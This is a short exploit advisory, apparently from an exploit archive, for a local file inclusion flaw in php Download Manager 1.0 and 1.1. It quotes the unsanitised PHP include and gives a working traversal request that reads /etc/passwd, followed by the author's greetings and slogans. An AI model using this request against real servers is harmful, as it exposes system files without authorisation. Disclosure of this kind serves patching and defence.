php Download Manager <= 1.1 - Local File Inclusion Vulnerability

##################################################### # Author : BeyazKurt # Contact : Bey4zKurt@Gmail.Com # # Script : php Download Manager (v1.1 & 1.0) # Risk : Local File Include # Download : http://sourceforge.net/project/showfiles.php?group_id=185482 # # File : include/body.inc.php # # Code : # &#60;?php # if (file_exists($content)) { # include($content); # } else { echo &#34;&#60;p&#62;This page has no content.&#60;/p&#62;&#34;; } # ?&#62; # # Exploit : # # Vuln.Com/include/body.inc.php?content=../../etc/passwd # #---------------------------- # # INDEPENDENT KOSOVA (H) # ARNAVUT Olmak Ayrıcalıktır - Being An ALBANIAN Is A Priviledge # # 15 Sehidimizin ruhu saad olsun... # # Www.Netkabus.Com # # Not : I Love You Gulsum (F) # Thnx : Ekin0x - Fotosopar seni :D ##################################################### # milw0rm.com [2008-02-24]